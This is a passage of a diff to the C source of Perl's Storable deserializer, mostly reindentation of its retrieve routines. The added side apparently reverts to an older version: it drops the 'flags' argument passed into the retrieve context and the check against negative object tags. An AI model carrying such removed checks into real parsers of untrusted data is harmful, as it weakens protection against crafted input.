TRACEME(("(#%d) undef item", i)); + continue; /* av_extend() already filled us with undef */ + } + if (c != SX_ITEM) + (void) retrieve_other(aTHX_ cxt, 0); /* Will croak out */ + TRACEME(("(#%d) item", i)); + sv = retrieve(aTHX_ cxt, 0); /* Retrieve item */ + if (!sv) + return (SV *) 0; + if (av_store(av, i, sv) == 0) + return (SV *) 0; + } - TRACEME(("ok (old_retrieve_array at 0x%" UVxf ")", PTR2UV(av))); + TRACEME(("ok (old_retrieve_array at 0x%" UVxf ")", PTR2UV(av))); - return (SV *) av; + return (SV *) av; } /* @@ -6912,86 +5820,85 @@ static SV *old_retrieve_array(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *old_retrieve_hash(pTHX_ stcxt_t *cxt, const char *cname) { - I32 len; - I32 size; - I32 i; - HV *hv; - SV *sv = (SV *) 0; - int c; - SV *sv_h_undef = (SV *) 0; /* hv_store() bug */ - - PERL_UNUSED_ARG(cname); - TRACEME(("old_retrieve_hash (#%d)", (int)cxt->tagnum)); - - /* - * Read length, allocate table. - */ - - RLEN(len); - TRACEME(("size = %d", (int)len)); - hv = newHV(); - SEEN0_NN(hv, 0); /* Will return if table not allocated properly */ - if (len == 0) - return (SV *) hv; /* No data follow if table empty */ - TRACEME(("split %d", (int)len+1)); - hv_ksplit(hv, len+1); /* pre-extend hash to save multiple splits */ - - /* - * Now get each key/value pair in turn... - */ - - for (i = 0; i < len; i++) { - /* - * Get value first. - */ - - GETMARK(c); - if (c == SX_VL_UNDEF) { - TRACEME(("(#%d) undef value", (int)i)); - /* - * Due to a bug in hv_store(), it's not possible to pass - * &PL_sv_undef to hv_store() as a value, otherwise the - * associated key will not be creatable any more. -- RAM, 14/01/97 - */ - if (!sv_h_undef) - sv_h_undef = newSVsv(&PL_sv_undef); - sv = SvREFCNT_inc(sv_h_undef); - } else if (c == SX_VALUE) { - TRACEME(("(#%d) value", (int)i)); - sv = retrieve(aTHX_ cxt, 0); - if (!sv) - return (SV *) 0; - } else - (void) retrieve_other(aTHX_ cxt, 0); /* Will croak out */ - - /* - * Get key. - * Since we're reading into kbuf, we must ensure we're not - * recursing between the read and the hv_store() where it's used. - * Hence the key comes after the value. - */ - - GETMARK(c); - if (c != SX_KEY) - (void) retrieve_other(aTHX_ cxt, 0); /* Will croak out */ - RLEN(size); /* Get key size */ - KBUFCHK((STRLEN)size); /* Grow hash key read pool if needed */ - if (size) - READ(kbuf, size); - kbuf[size] = '\0'; /* Mark string end, just in case */ - TRACEME(("(#%d) key '%s'", (int)i, kbuf)); - - /* - * Enter key/value pair into hash table. - */ - - if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0) - return (SV *) 0; - } + I32 len; + I32 size; + I32 i; + HV *hv; + SV *sv = (SV *) 0; + int c; + SV *sv_h_undef = (SV *) 0; /* hv_store() bug */ + + PERL_UNUSED_ARG(cname); + TRACEME(("old_retrieve_hash (#%d)", cxt->tagnum)); + + /* + * Read length, allocate table. + */ + + RLEN(len); + TRACEME(("size = %d", len)); + hv = newHV(); + SEEN0_NN(hv, 0); /* Will return if table not allocated properly */ + if (len == 0) + return (SV *) hv; /* No data follow if table empty */ + hv_ksplit(hv, len + 1); /* pre-extend hash to save multiple splits */ + + /* + * Now get each key/value pair in turn... + */ + + for (i = 0; i < len; i++) { + /* + * Get value first. + */ + + GETMARK(c); + if (c == SX_VL_UNDEF) { + TRACEME(("(#%d) undef value", i)); + /* + * Due to a bug in hv_store(), it's not possible to pass + * &PL_sv_undef to hv_store() as a value, otherwise the + * associated key will not be creatable any more. -- RAM, 14/01/97 + */ + if (!sv_h_undef) + sv_h_undef = newSVsv(&PL_sv_undef); + sv = SvREFCNT_inc(sv_h_undef); + } else if (c == SX_VALUE) { + TRACEME(("(#%d) value", i)); + sv = retrieve(aTHX_ cxt, 0); + if (!sv) + return (SV *) 0; + } else + (void) retrieve_other(aTHX_ cxt, 0); /* Will croak out */ + + /* + * Get key. + * Since we're reading into kbuf, we must ensure we're not + * recursing between the read and the hv_store() where it's used. + * Hence the key comes after the value. + */ + + GETMARK(c); + if (c != SX_KEY) + (void) retrieve_other(aTHX_ cxt, 0); /* Will croak out */ + RLEN(size); /* Get key size */ + KBUFCHK((STRLEN)size); /* Grow hash key read pool if needed */ + if (size) + READ(kbuf, size); + kbuf[size] = '\0'; /* Mark string end, just in case */ + TRACEME(("(#%d) key '%s'", i, kbuf)); + + /* + * Enter key/value pair into hash table. + */ + + if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0) + return (SV *) 0; + } - TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv))); + TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv))); - return (SV *) hv; + return (SV *) hv; } /*** @@ -7056,25 +5963,24 @@ static SV *magic_check(pTHX_ stcxt_t *cxt) old_len = sizeof(old_magicstr) - 1; READ(current + 1, (SSize_t)(old_len - len)); - + if (memNE(buf, old_magicstr, old_len)) CROAK(("File is not a perl storable")); - old_magic++; + old_magic++; current = buf + old_len; } use_network_order = *current; - } else { - GETMARK(use_network_order); - } - + } else + GETMARK(use_network_order); + /* * Starting with 0.6, the "use_network_order" byte flag is also used to * indicate the version number of the binary, and therefore governs the * setting of sv_retrieve_vtbl. See magic_write(). */ if (old_magic && use_network_order > 1) { - /* 0.1 dump - use_network_order is really byte order length */ - version_major = -1; + /* 0.1 dump - use_network_order is really byte order length */ + version_major = -1; } else { version_major = use_network_order >> 1; @@ -7118,7 +6024,7 @@ static SV *magic_check(pTHX_ stcxt_t *cxt) cxt->accept_future_minor)); if (cxt->accept_future_minor < 0) cxt->accept_future_minor - = (SvTRUE(get_sv("Storable::accept_future_minor", + = (SvTRUE(perl_get_sv("Storable::accept_future_minor", GV_ADD)) ? 1 : 0); if (cxt->accept_future_minor == 1) @@ -7146,7 +6052,7 @@ static SV *magic_check(pTHX_ stcxt_t *cxt) GETMARK(c); } else { - c = use_network_order; + c = use_network_order; } length = c + 3 + use_NV_size; READ(buf, length); /* Not null-terminated */ @@ -7156,20 +6062,19 @@ static SV *magic_check(pTHX_ stcxt_t *cxt) #ifdef USE_56_INTERWORK_KLUDGE /* No point in caching this in the context as we only need it once per retrieve, and we need to recheck it each read. */ - if (SvTRUE(get_sv("Storable::interwork_56_64bit", GV_ADD))) { + if (SvTRUE(perl_get_sv("Storable::interwork_56_64bit", GV_ADD))) { if ((c != (sizeof (byteorderstr_56) - 1)) || memNE(buf, byteorderstr_56, c)) CROAK(("Byte order is not compatible")); } else #endif { - if ((c != (sizeof (byteorderstr) - 1)) - || memNE(buf, byteorderstr, c)) + if ((c != (sizeof (byteorderstr) - 1)) || memNE(buf, byteorderstr, c)) CROAK(("Byte order is not compatible")); } current = buf + c; - + /* sizeof(int) */ if ((int) *current++ != sizeof(int)) CROAK(("Integer size is not compatible")); @@ -7200,169 +6105,160 @@ static SV *magic_check(pTHX_ stcxt_t *cxt) */ static SV *retrieve(pTHX_ stcxt_t *cxt, const char *cname) { - int type; - SV **svh; - SV *sv; - - TRACEME(("retrieve")); - - /* - * Grab address tag which identifies the object if we are retrieving - * an older format. Since the new binary format counts objects and no - * longer explicitly tags them, we must keep track of the correspondence - * ourselves. - * - * The following section will disappear one day when the old format is - * no longer supported, hence the final "goto" in the "if" block. - */ - - if (cxt->hseen) { /* Retrieving old binary */ - stag_t tag; - if (cxt->netorder) { - I32 nettag; - READ(&nettag, sizeof(I32)); /* Ordered sequence of I32 */ - tag = (stag_t) nettag; - } else - READ(&tag, sizeof(stag_t)); /* Original address of the SV */ - - GETMARK(type); - if (type == SX_OBJECT) { - I32 tagn; - svh = hv_fetch(cxt->hseen, (char *) &tag, sizeof(tag), FALSE); - if (!svh) - CROAK(("Old tag 0x%" UVxf " should have been mapped already", - (UV) tag)); - tagn = SvIV(*svh); /* Mapped tag number computed earlier below */ - - /* - * The following code is common with the SX_OBJECT case below. - */ - - svh = av_fetch(cxt->aseen, tagn, FALSE); - if (!svh) - CROAK(("Object #%" IVdf " should have been retrieved already", - (IV) tagn)); - sv = *svh; - TRACEME(("has retrieved #%d at 0x%" UVxf, (int)tagn, PTR2UV(sv))); - SvREFCNT_inc(sv); /* One more reference to this same sv */ - return sv; /* The SV pointer where object was retrieved */ - } - - /* - * Map new object, but don't increase tagnum. This will be done - * by each of the retrieve_* functions when they call SEEN(). - * - * The mapping associates the "tag" initially present with a unique - * tag number. See test for SX_OBJECT above to see how this is perused. - */ - - if (!hv_store(cxt->hseen, (char *) &tag, sizeof(tag), - newSViv(cxt->tagnum), 0)) - return (SV *) 0; - - goto first_time; - } - - /* - * Regular post-0.6 binary format. - */ - - GETMARK(type); - - TRACEME(("retrieve type = %d", type)); - - /* - * Are we dealing with an object we should have already retrieved? - */ - - if (type == SX_OBJECT) { - I32 tag; - READ_I32(tag); - tag = ntohl(tag); -#ifndef HAS_U64 - /* A 32-bit system can't have over 2**31 objects anyway */ - if (tag < 0) - CROAK(("Object #%" IVdf " out of range", (IV)tag)); -#endif - /* Older versions of Storable on with 64-bit support on 64-bit - systems can produce values above the 2G boundary (or wrapped above - the 4G boundary, which we can't do much about), treat those as - unsigned. - This same commit stores tag ids over the 2G boundary as long tags - since older Storables will mis-handle them as short tags. - */ - svh = av_fetch(cxt->aseen, (U32)tag, FALSE); - if (!svh) - CROAK(("Object #%" IVdf " should have been retrieved already", - (IV) tag)); - sv = *svh; - TRACEME(("had retrieved #%d at 0x%" UVxf, (int)tag, PTR2UV(sv))); - SvREFCNT_inc(sv); /* One more reference to this same sv */ - return sv; /* The SV pointer where object was retrieved */ - } else if (type >= SX_LAST && cxt->ver_minor > STORABLE_BIN_MINOR) { - if (cxt->accept_future_minor < 0) - cxt->accept_future_minor - = (SvTRUE(get_sv("Storable::accept_future_minor", - GV_ADD)) - ? 1 : 0); - if (cxt->accept_future_minor == 1) { - CROAK(("Storable binary image v%d.%d contains data of type %d. " - "This Storable is v%d.%d and can only handle data types up to %d", - cxt->ver_major, cxt->ver_minor, type, - STORABLE_BIN_MAJOR, STORABLE_BIN_MINOR, SX_LAST - 1)); - } - } - - first_time: /* Will disappear when support for old format is dropped */ - - /* - * Okay, first time through for this one. - */ - - sv = RETRIEVE(cxt, type)(aTHX_ cxt, cname); - if (!sv) - return (SV *) 0; /* Failed */ - - /* - * Old binary formats (pre-0.7). - * - * Final notifications, ended by SX_STORED may now follow. - * Currently, the only pertinent notification to apply on the - * freshly retrieved object is either: - * SX_CLASS for short classnames. - * SX_LG_CLASS for larger one (rare!). - * Class name is then read into the key buffer pool used by - * hash table key retrieval. - */ + int type; + SV **svh; + SV *sv; + + TRACEME(("retrieve")); + + /* + * Grab address tag which identifies the object if we are retrieving + * an older format. Since the new binary format counts objects and no + * longer explicitly tags them, we must keep track of the correspondence + * ourselves. + * + * The following section will disappear one day when the old format is + * no longer supported, hence the final "goto" in the "if" block. + */ + + if (cxt->hseen) { /* Retrieving old binary */ + stag_t tag; + if (cxt->netorder) { + I32 nettag; + READ(&nettag, sizeof(I32)); /* Ordered sequence of I32 */ + tag = (stag_t) nettag; + } else + READ(&tag, sizeof(stag_t)); /* Original address of the SV */ + + GETMARK(type); + if (type == SX_OBJECT) { + I32 tagn; + svh = hv_fetch(cxt->hseen, (char *) &tag, sizeof(tag), FALSE); + if (!svh) + CROAK(("Old tag 0x%" UVxf " should have been mapped already", + (UV) tag)); + tagn = SvIV(*svh); /* Mapped tag number computed earlier below */ + + /* + * The following code is common with the SX_OBJECT case below. + */ + + svh = av_fetch(cxt->aseen, tagn, FALSE); + if (!svh) + CROAK(("Object #%" IVdf + " should have been retrieved already", + (IV) tagn)); + sv = *svh; + TRACEME(("has retrieved #%d at 0x%" UVxf, tagn, + PTR2UV(sv))); + SvREFCNT_inc(sv); /* One more reference to this same sv */ + return sv; /* The SV pointer where object was retrieved */ + } + + /* + * Map new object, but don't increase tagnum. This will be done + * by each of the retrieve_* functions when they call SEEN(). + * + * The mapping associates the "tag" initially present with a unique + * tag number. See test for SX_OBJECT above to see how this is perused. + */ + + if (!hv_store(cxt->hseen, (char *) &tag, sizeof(tag), + newSViv(cxt->tagnum), 0)) + return (SV *) 0; + + goto first_time; + } - if (cxt->ver_major < 2) { - while ((type = GETCHAR()) != SX_STORED) { - I32 len; - HV* stash; - switch (type) { - case SX_CLASS: - GETMARK(len); /* Length coded on a single char */ - break; - case SX_LG_CLASS: /* Length coded on a regular integer */ - RLEN(len); - break; - case EOF: - default: - return (SV *) 0; /* Failed */ + /* + * Regular post-0.6 binary format. + */ + + GETMARK(type); + + TRACEME(("retrieve type = %d", type)); + + /* + * Are we dealing with an object we should have already retrieved? + */ + + if (type == SX_OBJECT) { + I32 tag; + READ_I32(tag); + tag = ntohl(tag); + svh = av_fetch(cxt->aseen, tag, FALSE); + if (!svh) + CROAK(("Object #%" IVdf + " should have been retrieved already", + (IV) tag)); + sv = *svh; + TRACEME(("had retrieved #%d at 0x%" UVxf, tag, PTR2UV(sv))); + SvREFCNT_inc(sv); /* One more reference to this same sv */ + return sv; /* The SV pointer where object was retrieved */ + } else if (type >= SX_ERROR && cxt->ver_minor > STORABLE_BIN_MINOR) { + if (cxt->accept_future_minor < 0) + cxt->accept_future_minor + = (SvTRUE(perl_get_sv("Storable::accept_future_minor", + GV_ADD)) + ? 1 : 0); + if (cxt->accept_future_minor == 1) { + CROAK(("Storable binary image v%d.%d contains data of type %d. " + "This Storable is v%d.%d and can only handle data types up to %d", + cxt->ver_major, cxt->ver_minor, type, + STORABLE_BIN_MAJOR, STORABLE_BIN_MINOR, SX_ERROR - 1)); } - KBUFCHK((STRLEN)len); /* Grow buffer as necessary */ - if (len) - READ(kbuf, len); - kbuf[len] = '\0'; /* Mark string end */ - stash = gv_stashpvn(kbuf, len, GV_ADD); - BLESS(sv, stash); } - } - TRACEME(("ok (retrieved 0x%" UVxf ", refcnt=%d, %s)", PTR2UV(sv), - (int)SvREFCNT(sv) - 1, sv_reftype(sv, FALSE))); +first_time: /* Will disappear when support for old format is dropped */ + + /* + * Okay, first time through for this one. + */ + + sv = RETRIEVE(cxt, type)(aTHX_ cxt, cname); + if (!sv) + return (SV *) 0; /* Failed */ + + /* + * Old binary formats (pre-0.7). + * + * Final notifications, ended by SX_STORED may now follow. + * Currently, the only pertinent notification to apply on the + * freshly retrieved object is either: + * SX_CLASS for short classnames. + * SX_LG_CLASS for larger one (rare!). + * Class name is then read into the key buffer pool used by + * hash table key retrieval. + */ + + if (cxt->ver_major < 2) { + while ((type = GETCHAR()) != SX_STORED) { + I32 len; + HV* stash; + switch (type) { + case SX_CLASS: + GETMARK(len); /* Length coded on a single char */ + break; + case SX_LG_CLASS: /* Length coded on a regular integer */ + RLEN(len); + break; + case EOF: + default: + return (SV *) 0; /* Failed */ + } + KBUFCHK((STRLEN)len); /* Grow buffer as necessary */ + if (len) + READ(kbuf, len); + kbuf[len] = '\0'; /* Mark string end */ + stash = gv_stashpvn(kbuf, len, GV_ADD); + BLESS(sv, stash); + } + } + + TRACEME(("ok (retrieved 0x%" UVxf ", refcnt=%d, %s)", PTR2UV(sv), + SvREFCNT(sv) - 1, sv_reftype(sv, FALSE))); - return sv; /* Ok */ + return sv; /* Ok */ } /* @@ -7372,238 +6268,232 @@ static SV *retrieve(pTHX_ stcxt_t *cxt, const char *cname) * Common routine for pretrieve and mretrieve. */ static SV *do_retrieve( - pTHX_ - PerlIO *f, - SV *in, - int optype, - int flags) + pTHX_ + PerlIO *f, + SV *in, + int optype) { - dSTCXT; - SV *sv; - int is_tainted; /* Is input source tainted? */ - int pre_06_fmt = 0; /* True with pre Storable 0.6 formats */ + dSTCXT; + SV *sv; + int is_tainted; /* Is input source tainted? */ + int pre_06_fmt = 0; /* True with pre Storable 0.6 formats */ - TRACEMED(("do_retrieve (optype = 0x%x, flags=0x%x)", - (unsigned)optype, (unsigned)flags)); + TRACEME(("do_retrieve (optype = 0x%x)", optype)); - optype |= ST_RETRIEVE; - cxt->flags = flags; + optype |= ST_RETRIEVE; - /* - * Sanity assertions for retrieve dispatch tables. - */ + /* + * Sanity assertions for retrieve dispatch tables. + */ - ASSERT(sizeof(sv_old_retrieve) == sizeof(sv_retrieve), - ("old and new retrieve dispatch table have same size")); - ASSERT(sv_old_retrieve[(int)SX_LAST] == retrieve_other, - ("SX_LAST entry correctly initialized in old dispatch table")); - ASSERT(sv_retrieve[(int)SX_LAST] == retrieve_other, - ("SX_LAST entry correctly initialized in new dispatch table")); + ASSERT(sizeof(sv_old_retrieve) == sizeof(sv_retrieve), + ("old and new retrieve dispatch table have same size")); + ASSERT(sv_old_retrieve[SX_ERROR] == retrieve_other, + ("SX_ERROR entry correctly initialized in old dispatch table")); + ASSERT(sv_retrieve[SX_ERROR] == retrieve_other, + ("SX_ERROR entry correctly initialized in new dispatch table")); - /* - * Workaround for CROAK leak: if they enter with a "dirty" context, - * free up memory for them now. - */ + /* + * Workaround for CROAK leak: if they enter with a "dirty" context, + * free up memory for them now. + */ - assert(cxt); - if (cxt->s_dirty) - clean_context(aTHX_ cxt); + assert(cxt); + if (cxt->s_dirty) + clean_context(aTHX_ cxt); - /* - * Now that STORABLE_xxx hooks exist, it is possible that they try to - * re-enter retrieve() via the hooks. - */ + /* + * Now that STORABLE_xxx hooks exist, it is possible that they try to + * re-enter retrieve() via the hooks. + */ - if (cxt->entry) { - cxt = allocate_context(aTHX_ cxt); - cxt->flags = flags; - } - INIT_TRACEME; + if (cxt->entry) + cxt = allocate_context(aTHX_ cxt); - cxt->entry++; + cxt->entry++; - ASSERT(cxt->entry == 1, ("starting new recursion")); - ASSERT(!cxt->s_dirty, ("clean context")); + ASSERT(cxt->entry == 1, ("starting new recursion")); + ASSERT(!cxt->s_dirty, ("clean context")); - /* - * Prepare context. - * - * Data is loaded into the memory buffer when f is NULL, unless 'in' is - * also NULL, in which case we're expecting the data to already lie - * in the buffer (dclone case). - */ + /* + * Prepare context. + * + * Data is loaded into the memory buffer when f is NULL, unless 'in' is + * also NULL, in which case we're expecting the data to already lie + * in the buffer (dclone case). + */ - KBUFINIT(); /* Allocate hash key reading pool once */ + KBUFINIT(); /* Allocate hash key reading pool once */ - if (!f && in) { + if (!f && in) { #ifdef SvUTF8_on - if (SvUTF8(in)) { - STRLEN length; - const char *orig = SvPV(in, length); - char *asbytes; - /* This is quite deliberate. I want the UTF8 routines - to encounter the '\0' which perl adds at the end - of all scalars, so that any new string also has - this. - */ - STRLEN klen_tmp = length + 1; - bool is_utf8 = TRUE; - - /* Just casting the &klen to (STRLEN) won't work - well if STRLEN and I32 are of different widths. - --jhi */ - asbytes = (char*)bytes_from_utf8((U8*)orig, - &klen_tmp, - &is_utf8); - if (is_utf8) { - CROAK(("Frozen string corrupt - contains characters outside 0-255")); - } - if (asbytes != orig) { - /* String has been converted. - There is no need to keep any reference to - the old string. */ - in = sv_newmortal(); - /* We donate the SV the malloc()ed string - bytes_from_utf8 returned us. */ - SvUPGRADE(in, SVt_PV); - SvPOK_on(in); - SvPV_set(in, asbytes); - SvLEN_set(in, klen_tmp); - SvCUR_set(in, klen_tmp - 1); - } - } -#endif - MBUF_SAVE_AND_LOAD(in); - } - - /* - * Magic number verifications. - * - * This needs to be done before calling init_retrieve_context() - * since the format indication in the file are necessary to conduct - * some of the initializations. - */ - - cxt->fio = f; /* Where I/O are performed */ - - if (!magic_check(aTHX_ cxt)) - CROAK(("Magic number checking on storable %s failed", - cxt->fio ? "file" : "string")); - - TRACEME(("data stored in %s format", - cxt->netorder ? "net order" : "native")); - - /* - * Check whether input source is tainted, so that we don't wrongly - * taint perfectly good values... - * - * We assume file input is always tainted. If both 'f' and 'in' are - * NULL, then we come from dclone, and tainted is already filled in - * the context. That's a kludge, but the whole dclone() thing is - * already quite a kludge anyway! -- RAM, 15/09/2000. - */ - - is_tainted = f ? 1 : (in ? SvTAINTED(in) : cxt->s_tainted); - TRACEME(("input source is %s", is_tainted ? "tainted" : "trusted")); - init_retrieve_context(aTHX_ cxt, optype, is_tainted); - - ASSERT(is_retrieving(aTHX), ("within retrieve operation")); - - sv = retrieve(aTHX_ cxt, 0); /* Recursively retrieve object, get root SV */ - - /* - * Final cleanup. - */ - - if (!f && in) - MBUF_RESTORE(); - - pre_06_fmt = cxt->hseen != NULL; /* Before we clean context */ - - /* - * The "root" context is never freed. - */ - - clean_retrieve_context(aTHX_ cxt); - if (cxt->prev) /* This context was stacked */ - free_context(aTHX_ cxt); /* It was not the "root" context */ - - /* - * Prepare returned value. - */ + if (SvUTF8(in)) { + STRLEN length; + const char *orig = SvPV(in, length); + char *asbytes; + /* This is quite deliberate. I want the UTF8 routines + to encounter the '\0' which perl adds at the end + of all scalars, so that any new string also has + this. + */ + STRLEN klen_tmp = length + 1; + bool is_utf8 = TRUE; + + /* Just casting the &klen to (STRLEN) won't work + well if STRLEN and I32 are of different widths. + --jhi */ + asbytes = (char*)bytes_from_utf8((U8*)orig, + &klen_tmp, + &is_utf8); + if (is_utf8) { + CROAK(("Frozen string corrupt - contains characters outside 0-255")); + } + if (asbytes != orig) { + /* String has been converted. + There is no need to keep any reference to + the old string. */ + in = sv_newmortal(); + /* We donate the SV the malloc()ed string + bytes_from_utf8 returned us. */ + SvUPGRADE(in, SVt_PV); + SvPOK_on(in); + SvPV_set(in, asbytes); + SvLEN_set(in, klen_tmp); + SvCUR_set(in, klen_tmp - 1); + } + } +#endif + MBUF_SAVE_AND_LOAD(in); + } - if (!sv) { - TRACEMED(("retrieve ERROR")); -#if (PATCHLEVEL <= 4) - /* perl 5.00405 seems to screw up at this point with an - 'attempt to modify a read only value' error reported in the - eval { $self = pretrieve(*FILE) } in _retrieve. - I can't see what the cause of this error is, but I suspect a - bug in 5.004, as it seems to be capable of issuing spurious - errors or core dumping with matches on $@. I'm not going to - spend time on what could be a fruitless search for the cause, - so here's a bodge. If you're running 5.004 and don't like - this inefficiency, either upgrade to a newer perl, or you are - welcome to find the problem and send in a patch. - */ - return newSV(0); + /* + * Magic number verifications. + * + * This needs to be done before calling init_retrieve_context() + * since the format indication in the file are necessary to conduct + * some of the initializations. + */ + + cxt->fio = f; /* Where I/O are performed */ + + if (!magic_check(aTHX_ cxt)) + CROAK(("Magic number checking on storable %s failed", + cxt->fio ? "file" : "string")); + + TRACEME(("data stored in %s format", + cxt->netorder ? "net order" : "native")); + + /* + * Check whether input source is tainted, so that we don't wrongly + * taint perfectly good values... + * + * We assume file input is always tainted. If both 'f' and 'in' are + * NULL, then we come from dclone, and tainted is already filled in + * the context. That's a kludge, but the whole dclone() thing is + * already quite a kludge anyway! -- RAM, 15/09/2000. + */ + + is_tainted = f ? 1 : (in ? SvTAINTED(in) : cxt->s_tainted); + TRACEME(("input source is %s", is_tainted ? "tainted" : "trusted")); + init_retrieve_context(aTHX_ cxt, optype, is_tainted); + + ASSERT(is_retrieving(aTHX), ("within retrieve operation")); + + sv = retrieve(aTHX_ cxt, 0); /* Recursively retrieve object, get root SV */ + + /* + * Final cleanup. + */ + + if (!f && in) + MBUF_RESTORE(); + + pre_06_fmt = cxt->hseen != NULL; /* Before we clean context */ + + /* + * The "root" context is never freed. + */ + + clean_retrieve_context(aTHX_ cxt); + if (cxt->prev) /* This context was stacked */ + free_context(aTHX_ cxt); /* It was not the "root" context */ + + /* + * Prepare returned value. + */ + + if (!sv) { + TRACEME(("retrieve ERROR")); +#if (PATCHLEVEL <= 4) + /* perl 5.00405 seems to screw up at this point with an + 'attempt to modify a read only value' error reported in the + eval { $self = pretrieve(*FILE) } in _retrieve. + I can't see what the cause of this error is, but I suspect a + bug in 5.004, as it seems to be capable of issuing spurious + errors or core dumping with matches on $@. I'm not going to + spend time on what could be a fruitless search for the cause, + so here's a bodge. If you're running 5.004 and don't like + this inefficiency, either upgrade to a newer perl, or you are + welcome to find the problem and send in a patch. + */ + return newSV(0); #else - return &PL_sv_undef; /* Something went wrong, return undef */ + return &PL_sv_undef; /* Something went wrong, return undef */ #endif - } - - TRACEMED(("retrieve got %s(0x%" UVxf ")", - sv_reftype(sv, FALSE), PTR2UV(sv))); - - /* - * Backward compatibility with Storable-0.5@9 (which we know we - * are retrieving if hseen is non-null): don't create an extra RV - * for objects since we special-cased it at store time. - * - * Build a reference to the SV returned by pretrieve even if it is - * already one and not a scalar, for consistency reasons. - */ - - if (pre_06_fmt) { /* Was not handling overloading by then */ - SV *rv; - TRACEMED(("fixing for old formats -- pre 0.6")); - if (sv_type(aTHX_ sv) == svis_REF && (rv = SvRV(sv)) && SvOBJECT(rv)) { - TRACEME(("ended do_retrieve() with an object -- pre 0.6")); - return sv; - } - } + } - /* - * If reference is overloaded, restore behaviour. - * - * NB: minor glitch here: normally, overloaded refs are stored specially - * so that we can croak when behaviour cannot be re-installed, and also - * avoid testing for overloading magic at each reference retrieval. - * - * Unfortunately, the root reference is implicitly stored, so we must - * check for possible overloading now. Furthermore, if we don't restore - * overloading, we cannot croak as if the original ref was, because we - * have no way to determine whether it was an overloaded ref or not in - * the first place. - * - * It's a pity that overloading magic is attached to the rv, and not to - * the underlying sv as blessing is. - */ + TRACEME(("retrieve got %s(0x%" UVxf ")", + sv_reftype(sv, FALSE), PTR2UV(sv))); + + /* + * Backward compatibility with Storable-0.5@9 (which we know we + * are retrieving if hseen is non-null): don't create an extra RV + * for objects since we special-cased it at store time. + * + * Build a reference to the SV returned by pretrieve even if it is + * already one and not a scalar, for consistency reasons. + */ + + if (pre_06_fmt) { /* Was not handling overloading by then */ + SV *rv; + TRACEME(("fixing for old formats -- pre 0.6")); + if (sv_type(aTHX_ sv) == svis_REF && (rv = SvRV(sv)) && SvOBJECT(rv)) { + TRACEME(("ended do_retrieve() with an object -- pre 0.6")); + return sv; + } + } - if (SvOBJECT(sv)) { - HV *stash = (HV *) SvSTASH(sv); - SV *rv = newRV_noinc(sv); - if (stash && Gv_AMG(stash)) { - SvAMAGIC_on(rv); - TRACEMED(("restored overloading on root reference")); - } - TRACEMED(("ended do_retrieve() with an object")); - return rv; - } + /* + * If reference is overloaded, restore behaviour. + * + * NB: minor glitch here: normally, overloaded refs are stored specially + * so that we can croak when behaviour cannot be re-installed, and also + * avoid testing for overloading magic at each reference retrieval. + * + * Unfortunately, the root reference is implicitly stored, so we must + * check for possible overloading now. Furthermore, if we don't restore + * overloading, we cannot croak as if the original ref was, because we + * have no way to determine whether it was an overloaded ref or not in + * the first place. + * + * It's a pity that overloading magic is attached to the rv, and not to + * the underlying sv as blessing is. + */ + + if (SvOBJECT(sv)) { + HV *stash = (HV *) SvSTASH(sv); + SV *rv = newRV_noinc(sv); + if (stash && Gv_AMG(stash)) { + SvAMAGIC_on(rv); + TRACEME(("restored overloading on root reference")); + } + TRACEME(("ended do_retrieve() with an object")); + return rv; + } - TRACEMED(("regular do_retrieve() end")); + TRACEME(("regular do_retrieve() end")); - return newRV_noinc(sv); + return newRV_noinc(sv); } /* @@ -7611,10 +6501,10 @@ static SV *do_retrieve( * * Retrieve data held in file and return the root object, undef on error. */ -static SV *pretrieve(pTHX_ PerlIO *f, IV flag) +static SV *pretrieve(pTHX_ PerlIO *f) { - TRACEMED(("pretrieve")); - return do_retrieve(aTHX_ f, Nullsv, 0, (int)flag); + TRACEME(("pretrieve")); + return do_retrieve(aTHX_ f, Nullsv, 0); } /* @@ -7622,10 +6512,10 @@ static SV *pretrieve(pTHX_ PerlIO *f, IV flag) * * Retrieve data held in scalar and return the root object, undef on error. */ -static SV *mretrieve(pTHX_ SV *sv, IV flag) +static SV *mretrieve(pTHX_ SV *sv) { - TRACEMED(("mretrieve")); - return do_retrieve(aTHX_ (PerlIO*) 0, sv, 0, (int)flag); + TRACEME(("mretrieve")); + return do_retrieve(aTHX_ (PerlIO*) 0, sv, 0); } /*** @@ -7643,78 +6533,78 @@ static SV *mretrieve(pTHX_ SV *sv, IV flag) */ static SV *dclone(pTHX_ SV *sv) { - dSTCXT; - STRLEN size; - stcxt_t *real_context; - SV *out; + dSTCXT; + int size; + stcxt_t *real_context; + SV *out; - TRACEMED(("dclone")); + TRACEME(("dclone")); - /* - * Workaround for CROAK leak: if they enter with a "dirty" context, - * free up memory for them now. - */ + /* + * Workaround for CROAK leak: if they enter with a "dirty" context, + * free up memory for them now. + */ - assert(cxt); - if (cxt->s_dirty) - clean_context(aTHX_ cxt); + assert(cxt); + if (cxt->s_dirty) + clean_context(aTHX_ cxt); - /* - * Tied elements seem to need special handling. - */ + /* + * Tied elements seem to need special handling. + */ - if ((SvTYPE(sv) == SVt_PVLV + if ((SvTYPE(sv) == SVt_PVLV #if PERL_VERSION < 8 - || SvTYPE(sv) == SVt_PVMG + || SvTYPE(sv) == SVt_PVMG #endif - ) && (SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) == - (SVs_GMG|SVs_SMG|SVs_RMG) && - mg_find(sv, 'p')) { - mg_get(sv); - } + ) && (SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) == + (SVs_GMG|SVs_SMG|SVs_RMG) && + mg_find(sv, 'p')) { + mg_get(sv); + } - /* - * do_store() optimizes for dclone by not freeing its context, should - * we need to allocate one because we're deep cloning from a hook. - */ + /* + * do_store() optimizes for dclone by not freeing its context, should + * we need to allocate one because we're deep cloning from a hook. + */ - if (!do_store(aTHX_ (PerlIO*) 0, sv, ST_CLONE, FALSE, (SV**) 0)) - return &PL_sv_undef; /* Error during store */ + if (!do_store(aTHX_ (PerlIO*) 0, sv, ST_CLONE, FALSE, (SV**) 0)) + return &PL_sv_undef; /* Error during store */ - /* - * Because of the above optimization, we have to refresh the context, - * since a new one could have been allocated and stacked by do_store(). - */ + /* + * Because of the above optimization, we have to refresh the context, + * since a new one could have been allocated and stacked by do_store(). + */ - { dSTCXT; real_context = 